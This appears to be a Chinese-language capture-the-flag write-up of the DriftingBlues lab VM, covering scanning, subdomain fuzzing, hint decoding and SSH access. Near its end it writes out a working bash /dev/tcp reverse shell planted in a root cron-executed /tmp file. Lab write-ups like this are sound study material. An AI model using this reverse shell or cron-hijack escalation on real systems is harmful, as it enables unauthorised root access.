一、信息收集
IP扫描
通过netdiscover 扫描靶机IP地址
netdiscover -r 192.168.30.0/24
扫描到靶机IP为192.168.30.141
端口信息
使用nmap探测端口信息和端口上所运行的服务
nmap -p- -sS -sV -A -n 192.168.30.141
探测到主机开放了22和80端口
22端口运行ssh服务 20端口运行http服务
访问靶机的http服务 发现并无特别之处
目录扫描
使用dirsearch进行目录扫描
dirsearch -u http://192.168.30,141
并没有特别之处
使用gobuster 继续扫目录
gobuster dir -u http://192.168.30.141 \
-w /usr/share/wordlists/dirb/common.txt \
-x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak,zip,zip.bak
发现一个html页面
访问后发现只有一段文字
想到还开放了22端口 尝试是否存在匿名登陆
经过测试不存在匿名
没有思路 查看后台源代码
发现base64编码字样
将base64字段在线编码后
出现了一个txt文件
访问txt文件发现 是一段ook编码
使用ook解码工具
解码后出现提示
提示是修改host文件
修改hosts文件为 网页联系我的文件
更改了host文件
猜测存在该站点存在子域名
尝试子域名爆破
使用FUZZ工具进行模糊测试
wfuzz -H "HOST: FUZZ.driftingblues.box" -u http://192.168.30.141 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --hh 7710 --hc 400 -c
扫描到一个子域名为test.driftingblues.box
将子域名也写入hosts文件中
访问子域名发现一句话提示 此处说明可能存在eric用户
对此子域名进行目录扫描
发现robots.txt文件
打开后发现以下目录和文件
访问/ssh_cred.txt文件 发现提示
告诉我们可以使用ssh登录 并给出了密码 但是密码后面还有一位数字
ssh登录
之前我们猜测eric可能为用户
尝试使用ssh登录
ssh eric@192.168.30.141
经过测试 1mw4ckyyucky6为ssh登录密码
提权
查看此用户可以以root用户运行的命令
find / -user root -perm -4000 -exec ls -ldb {} \;
发现并没有可以提权的命令
查看可以使用sudo运行的命令
发现eric用户使用不了sudo命令
sudo -l
在浏览目录时发现一个脚本文件
在/var/backups/backup.sh文件
查看文件内容发现里面是
使用zip命令将/var/www/的内容备份到/tmp/目录下并取名为backup.zip
并且更改文件的权限
最后以sudo的方式运行/tmp/emergency文件
但是当我们查看/tmp/emergency这个文件时
这个文件并不存在
那么我们可以构造此文件 并且在此文件中添加反弹shell的命令
因为这个脚本的属主为root
反弹shell 将会被提权到root用户
我们需要知道此脚本多久运行一次
上传检测后台进程的脚本
首先使用python开启http服务
python -m http.server
将文件下载到靶机中
wget http://192.168.30.135/pspy64
运行此脚本发现/var/backup/backup.sh脚本每一分钟运行一次
我们可以创建emergency文件 将反弹shell代码写入
touch emergency #创建文件
chmod +x emergency
vim emergency
#!/bin/bash
bash -i >& /dev/tcp/192.168.30.135/7777 0>&1 #反弹地址为攻击机地址
同时在靶机上监听7777端口
等待一分钟 成功反弹shell
总结
1、对FUZZ工具使用不太熟悉
2、思想不够太阔 ,找到关键点但是却做不出来。。。